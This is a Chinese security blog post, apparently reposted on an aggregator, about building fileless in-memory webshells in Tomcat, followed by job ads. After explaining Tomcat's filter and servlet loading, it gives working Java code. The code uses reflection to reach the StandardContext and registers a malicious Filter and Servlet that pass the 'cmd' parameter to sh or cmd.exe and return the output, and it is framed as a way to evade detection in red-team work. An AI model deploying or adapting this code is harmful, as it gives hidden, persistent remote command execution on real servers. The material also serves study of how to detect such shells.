基于Tomcat无文件Webshell研究
Posted 雷神众测
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了基于Tomcat无文件Webshell研究相关的知识,希望对你有一定的参考价值。
No.1
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2
概述
红蓝对抗阶段,如果上传的Webshell,由于存在或多或少的明显特征,所以极易被开发者发现,因此需要针对Web进行隐藏。这里攻防一般会采用关键字混淆来躲避一些静态Webshell扫描工具的检查,这里笔者针对Tomcat这个容器下的无文件Webshell进行了一些研究。
No.3
知识铺垫
1、servlet和filter
Servlet 主要的作用的是可以动态的生产Web页面,他执行在客户端请求和服务器响应的之间。
Filter 是一段可以复用的代码,它用来拦截HTTP请求、响应、进行一些处理和转换,大家常见一些Javaweb项目会在 Filter 位置创建一些XSS拦截器或者SQL拦截器,用来统一处理SQL注入漏洞或者XSS漏洞,原因就是在这里。Filter 无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。
2、生命周期
Servlet :Servlet 的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说明,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法
销毁:停止服务器时调用destroy()方法,销毁实例
Filter:自定义Filter的实现,一定要求javax.servlet.Filter下的三个方法的实现,它们分别是init()、doFilter()、destroy()
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;
停止服务器时调用destroy()方法,销毁实例。
3、Container – 容器组件
Tomcat中的 Container 用于封装和管理 Servlet ,以及具体处理Request请,在Connector内部包含了4个子容器:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
这四个字容器实际上是自上向下的包含关系
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。
而对于一个 Tomcat 的web目录,对应关系实际是这样的:Webapps 对应的就是 Host 组件,045 和 example 对应的就是 Context 组件,Wrapper 就是容器内的 Servlet了。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/a311e0f722284f99bc212e6c65fb7f0a.jpg)
4、启动加载顺序
加载过程在 StandardContext 中找到 startInternal 方法。
@Override
protected synchronized void startInternal() throws LifecycleException {
//设置webappLoader 代码省略
//Standard container startup 代码省略
try {
// Set up the context init params
mergeParameters();
// Configure and call application event listeners
if (ok) {
if (!listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
}
// Configure and call application filters
if (ok) {
if (!filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
// Start ContainerBackgroundProcessor thread
super.threadStart();
} finally {
// Unbinding thread
unbindThread(oldCCL);
}
}
首先 listenerStart 是根据 web.xml 当中的<listener>标签进行装填配置。
<listener>
<listener-class>xxx.xxxxContextListener</listener-class>
</listener>
主要是通过this.findApplicationListeners();获取StandardContext当中的listener数组,然后通关循环的方式分别取出,交给this.getInstanceManager().newInstance(listener);进行实例化注册。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/d98fd4a132754a5f8b559c6483de7420.jpg)
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/25324d49300b4135aa4578e2afb87d6c.jpg)
然后添加到 lifecycleListeners 数组当中。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/57a6ef5b916d4d6491fe296ce3a115eb.jpg)
最后再重新添加到 StandardContext 当中。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/772bd77da6ff44329cf88d0025c14965.jpg)
其次 filterStart 主要作用就是从 StandardContext 当中的 filterDefs 对象中获取 filter ,然后把这部分的内容放入到 filterConfigs 当中
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/11232f472603450bbbbbe762fde36986.jpg)
最后 findChildren 根据 StandardContext 当中的 children 当中的 servlet 对象进行转换,然后将这些内容分别添加至 Container 对象当中,前面我们提到过了一个 StandardWrapper 代表一个 servlet 。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/6312f98aa6f94b0a9034e3ef1df10fe1.jpg)
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/3e2046c2b9c84e5f8eb14d9a6bef7e3c.jpg)
从代码中可以看到,加载顺序 context-param->listeners->filters->servlets :
首先初始化 context-param 节点
接着配置和调用 listeners 并开始监听
然后配置和调用 filters ,filters 开始起作用
最后加载和初始化配置在 load on startup 的 servlets
No.4
技术实现
从 servlet3.0 开始,提供了动态注册 Servlet 、filter 、Listener,这里我们优先关注 Servlet 和 filter ,因为 Servlet 能够帮助我们接受 request 请求和 response 响应,并且针对传入内容进行操作,当然 filter 也是可以做得到的。
<T extends Filter>createFilter(Java.lang.Class<T> clazz)
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class<? extends Filter> var2);
<T extends Servlet>createServlet(java.lang.Class<T> clazz)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);
1、获取上下文对象
servlet 的上下文全部存放在 ServletContext 中。
方法一:通过当前 request 对象获取 ServletContext 。
request.getSession().getServletContext();
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/cf18aa569a9e47b18c414e651b5eb4a8.jpg)
这时候问题出现了,如何获取运行状态中上下文中的 request 对象,这里需要感谢这两篇文章提供思路《Tomcat中一种半通用回显方法》、《基于tomcat的内存 Webshell 无文件攻击技术》。
org.apache.catalina.core.ApplicationFilterChain当中存在两个static对象分别是:
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
而在这个逻辑中当ApplicationDispatcher.WRAP_SAME_OBJECT为 true 的情况下,就会把 request 对象和response 对象暂存在 lastServicedRequest 和 lastServicedResponse 当中。
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
这种方法需要修改3个部分,通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT判断结果为true。
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
通过反射初始化 lastServicedRequest 存放 request 对象。
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
通过反射初始化 lastServicedResponse 存放 response 对象。
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
通过上述方法成功能在下一次请求中获取上下文的 servletContext 对象。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/430acb0f6ca24c8a98e7027ae7404936.jpg)
方法二:通过 Thread.currentThread().getContextClassLoader() 获取上下文中的 StandardContext 。
这种方法是在《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》中提到的。
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/e27bdd0a0b774fa999433406e9f5ab85.jpg)
这种方式其实存在缺陷,tomcat 7 的结构不太一样,导致 tomcat 7 这种方法拿不到上下文中的 StandardContext 。
Thread.currentThread().getContextClassLoader();
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/3a3c6e7f534345ea8ac825b42c514383.jpg)
方法三:在 spring 项目中通过 spring 容器来获取 servletContext 对象
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/0a61cf18c7844bd4b2c981a71adda8db.jpg)
这种情况下有一定的限制,就是 servletContext 值的初始化的 servletContextListener 一定要在 org.springframework.web.context.ContextLoaderListener 之前加载。
当然为了使得针对环境的依赖尽量的少,这里不是很推荐第三种在 spring 容器来获取 servletContext 对象。
2、构造内存shell
我们都知道在 servlet 结构下,要让 servlet 被外界访问到,比如在 web.xml 之中进行一些映射工作。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/47e7eabc438c49899ac9be5b9b87d52d.jpg)
前面提到过从 servlet3.0 开始,提供了动态注册 Servlet 、filter ,这里我们分别看看针对 Servlet 和 filter 如何进行动态注册。
Filter
先写一个恶意的 filter ,前面说过 filter 的实现,需要分别实现三个接口 init 、doFilter 、destroy 。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/cd482d747180408e9bbab24898a71716.jpg)
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) arg0;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
arg1.getWriter().write(output);
arg1.getWriter().flush();
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
}
}
Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了之前我们说的 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,先看 addFilter 的实现,这部分实现在 ApplicationContext#addFilter 当中。
原因在于 Tomcat 只允许初始化的时候完成调用这几个方法。一旦容器初始化已经结束,调用时就会出现异常
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/462001da88474827815623770e834afd.jpg)
在 addFilter 中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef);进行添加了而已。完全可以通过反射的方式获取 context 自行进行添加,绕过这个部分。
Filter filter = new filter(){恶意代码}
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
而 tomcat 的 filter 创建是在 StandardWrapperValve#invoke 当中。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/94bf1bc1af7a400992d11c4dd6b52985.jpg)
在 ApplicationFilterFactory.createFilterChain 当中,主要首先先从 StandardContext 对象中获取filterMaps ,然后循环遍历 filterMaps ,最后再添加到 filterChain 当中。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/9af4951ece7648738bf9b32e22fc7209.jpg)
而该 filterName 正是我们最开始我们在 web.xml 中进行添加的部分。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/9b7688a8e57e40b6aaf8d87882c17640.jpg)
所以再回到我们之前的问题当中,我们构造好了 filterDef ,当时并没有添加进 filterMap 当中,既然没有添加到 filterMap ,那我们给他加进去不就完事了。
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/l1nk3r");
standardContext.addFilterMapBefore(m);
主要关注 standardContext.addFilterMapBefore 这个方法,这个方法最终的效果是要把我们创建的 filterMap 丢到第一位去。因为从刚刚 ApplicationFilterFactory.createFilterChain 当中,我们知道这个顺序是从头到尾,看是一次次创建的,所以放到最前面是很有必要的。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/f323cb6d249c43d586f621da7681be3c.jpg)
最后还有一个问题需要解决,如何将 filter 添加到 filterConfigs 当中。关注 StandardContext#filterStart 方法就可以知道,遍历了 filterDefs 当中 filterName ,然后把对应的 name 添加到 filterConfigs 当中。
filterConfig = new ApplicationFilterConfig(this, (FilterDef)this.filterDefs.get(name));
this.filterConfigs.put(name, filterConfig);
那么参考这部分例子,很简单了再通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中。
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/de3a9e8e08164dd6b7a5d183d5ed6c72.jpg)
这里有个小细节,tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不太一样。
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
Serlvet
先写一个恶意的 servlet ,接口下需要有 init 、getServletConfig、service、getServletInfo、destroy,不然会有异常。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/a09e1f275a5140c3bb77b7590821fb98.jpg)
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
回忆一下,前面提到过的 tomcat 中的启动加载顺序:context-param->listeners->filters->servlets ,而且容器加载 servlet ,加载顺序按照 Load-on-startup 来执行。
// Load and initialize all "load on startup" servlets
if (ok) {
if (!loadOnStartup(findChildren())){
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
}
再回忆一个知识点,tomcat 的一个 Wrapper 代表一个 Servlet ,而相关对象均在 StandardContext 的children 。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/0e760f1d97a741009603c900b69e8258.jpg)
那么现在我们回过头来看看,我们知道 Wrapper 负责管理 Servlet ,而之前在动态加载 filter 的时候,我们通过 standardContext 当中的 addFilterDef 和 addFilterMap 来完成了 filter 的动态添加。那么是否在 standardContext 当中也能完成 Wrapper 的动态添加呢?答案是肯定的,createWrapper 就能够搞定了,实例化一个新的 Wrapper 对象,把相关内容写进去。
org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper();
newWrapper.setName(n);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
这里这时候又有一个问题了,这个新建的 Wrapper 对象,并不在 StandardContext 的 children 当中,别急,我们可以通过 StandardContext#addChild 把它加到 StandardContext 的 children 当中。
public void addChild(Container child) {
Wrapper oldJspServlet = null;
if (!(child instanceof Wrapper)) {
throw new IllegalArgumentException(sm.getString("standardContext.notWrapper"));
} else {
boolean isJspServlet = "jsp".equals(child.getName());
if (isJspServlet) {
oldJspServlet = (Wrapper)this.findChild("jsp");
if (oldJspServlet != null) {
this.removeChild(oldJspServlet);
}
}
super.addChild(child);
if (isJspServlet && oldJspServlet != null) {
}
}
当然最后还需要将我们的 Wrapper 对象,和访问的 url 进行绑定。
stdcontext.addChild(newWrapper);
stdcontext.addServletMapping("/l1nk3r",n);
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/b467ce83dbfd4254b968d0cc335386f4.jpg)
这种方法我觉得通用性更高一点,是实际测试下来,tomcat 7 和 8 能够通用。
No.5
demo
录了两个 demo ,第一个是通过反序列化直接注入 filter shell 。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/c38ac84d66c8444881cb38d2cc3afe07.jpg)
第二次仿造文件上传,注入一个 servlet shell 。
![基于Tomcat无文件Webshell研究](https://image.cha138.com/20210404/c95175b4b80342afa3b8fceeccbaae48.jpg)
No.6
招聘启事
简历投递至 strategy@dbappsecurity.com.cn
设计师(实习生)
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;精通photoshop/illustrator/coreldrew/等设计制作软件;
3、有品牌传播、产品设计或新媒体视觉工作经历;
【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽
简历投递至 strategy@dbappsecurity.com.cn
安全招聘
————————
公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京
工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)
【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;
岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
岗位:红队武器化Golang开发工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。
【岗位要求】
1.掌握C/C++/Java/Go/Python/javascript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。
简历投递至 strategy@dbappsecurity.com.cn
专注渗透测试技术
全球最新网络攻击技术
END
以上是关于基于Tomcat无文件Webshell研究的主要内容,如果未能解决你的问题,请参考以下文章
tomcat结合shiro无文件webshell的技术研究以及检测方法
tomcat结合shiro无文件webshell的技术研究以及检测方法
tomcat结合shiro无文件webshell的技术研究以及检测方法